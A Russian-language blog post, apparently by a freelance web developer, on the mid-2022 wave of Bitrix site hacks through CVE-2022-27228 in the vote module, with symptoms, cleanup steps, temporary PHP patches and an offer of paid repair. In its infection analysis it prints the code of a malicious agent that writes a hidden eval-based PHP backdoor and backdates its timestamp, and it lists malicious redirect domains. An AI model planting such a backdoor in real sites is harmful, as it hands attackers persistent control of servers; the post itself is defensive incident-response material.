Примерно с 27 июня массово ломают сайты на Битриксе. Взломы пока по двум сценариям:
1. мягкий. Вставили редирект на левый сайт.
2. жесткий. У нескольких клиентов поудаляли часть данных, пострадали инфоблоки Битрикса и пароли юзеров и администраторов, вставили на сайт заглушку против войны с Украиной и поздравления в честь Дня Конституции Украины.
Те кто попали на жесткий сценарий, заметили взлом сразу, а вот те у кого «мягкий» обращаются до сих пор. Заметили только после того как Яндекс.Вебмастер и Яндекс.Директ начал сыпать предупреждениями:
Мы обнаружили редирект на мошеннический сайт в рекламируемой вами ссылке.
Вероятно, это связано с некорректной работой платформы, на которой создан ваш сайт.
Пожалуйста, обратитесь в службу поддержки платформы вашего сайта для выяснения обстоятельств или замените рекламируемую ссылку на сайт другой платформы.
О самой уязвимости Битрикса
Любопытно что сама уязвимость в модуле vote Битрикса обнаружена еще в марте . И вначале ее оценили на 7 баллов, а уже в июне подняли до 9.8. Vulnerability: CVE-2022-27228. Solution:
Update the «Polls, Votes» (vote) module to 21.0.100 version.
Судя по всему где то в середине июня как минимум у 2 хакерских команд появился рабочий эксплоит(пока в паблике его нет), которые его и эксплуатируют.
Подробного описания работы эксплоита тоже пока никто не выложил.
Что происходит на взломанном сайте
- Практически во всех случаях взлома появляется файл с характерным названием /bitrix/tools/putin_huilo.php
- Вставка «левого» джаваскрипта с редиректом. Тут по разному. но чаще всего в public_html/bitrix/js/main/core/core.js через document.createElement(script) и в public_html/bitrix/modules/main/include/prolog.php . Вставка с нескольких сайтов с маскировкой под JQuery Ui . //sellmestore_pw/jquery-ui.js //techmestore_pw/jquery-ui.js //code.jquery-uii_com/jquery-ui.js
- Удаление информации из инфоблоков и замена паролей и инфы в таблице юзеров
4. добавление или изменение двух агентов в таблице b_agent . Через них файл /bitrix/tools/putin_huilo.php повторно появляется и выполняются прочие вредоносные действия.
1 2 |
//код второго агента $fName = str_replace('/modules/main/classes/mysql', '', dirname(__FILE__)).'/admin/sale_order_sunburns.php'; $files = scandir(dirname($fName)); file_put_contents($fName, '<!--?php fccf7be775d1(@$_POST[\'f181ae000\']); function fccf7be775d1($zd42d3ee04a0){ @eval($zd42d3ee04a0); } ?--> '); touch($fName, filemtime(dirname($fName).'/'.$files[2])); |
Как лечить Битрикс от вируса?
Если сайт ломанули по жесткому варианту, то вначале конечно восстановление из бекапа. Иначе никак не вернуть информацию.
Если по «мягкому» и информация в инфоблоках и пароли юзеров не пострадали, то в первую очередь проверяем таблицу b_agent на наличие левых «агентов» и удаляем если видим те 2 что на скрине выше.
Затем удаляем файл putin_huilo.php . Затем вставки джаваскрипта с редиректом на мошеннический сайт(на которые ругается Яндекс), примеры я приводил выше.
Далее конечно я бы проверил на наличие других вирусных файлов, но если вы вовремя спохватились то их «может» и не быть. Слово «может» очень плохое в отношении безопасности сайта, если умеете проверьте сами, не умеете доверьте специалисту за денежку, например поручите лечение сайта мне
Далее на всякий случай сменить пароли админов и проверить нет ли лишних. Это азбучное действие после любого взлома, но многие его забывают выполнить.
И последнее действие это устранение самой уязвимости. Вариант 1 — обновить модуль vote Битрикса до версии 21.0.100 или выше. Вот тут Bitrix нередко подкладывает грабли. Те у кого не продлена лицензия не смогут обновится. А у тех у кого продлена иногда не обновляется модуль. В этом случае модуль vote можно просто выключить если он не нужен . И для чистоты совести папку bitrix/modules/vote переименовать после отключения. Или еще вариант пропатчить два файла
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
//В файл /bitrix/tools/vote/uf.php перед required // Добавляем: $request = \Bitrix\Main\Context::getCurrent()->getRequest(); if ( $request ->isPost()) { CHTTP::SetStatus( "404 Not Found" ); @define( "ERROR_404" , "Y" ); die (); } //В файл /bitrix/tools/html_editor_action.php перед required // Добавляем: $request = \Bitrix\Main\Context::getCurrent()->getRequest(); if ( $request ->isPost()) { CHTTP::SetStatus( "404 Not Found" ); @define( "ERROR_404" , "Y" ); die (); } |
Эти 2 патча частично сохраняют функционирование модуля. Но!!! Это годно только как временное решение до обновления модуля vote. Эти патчи не дают полной защиты.
Если у вас не получается вылечить сайт самостоятельно, welcome, могу помочь! 6 месяцев гарантии на работу, цена 1200руб.
Контакты
Свежие комментарии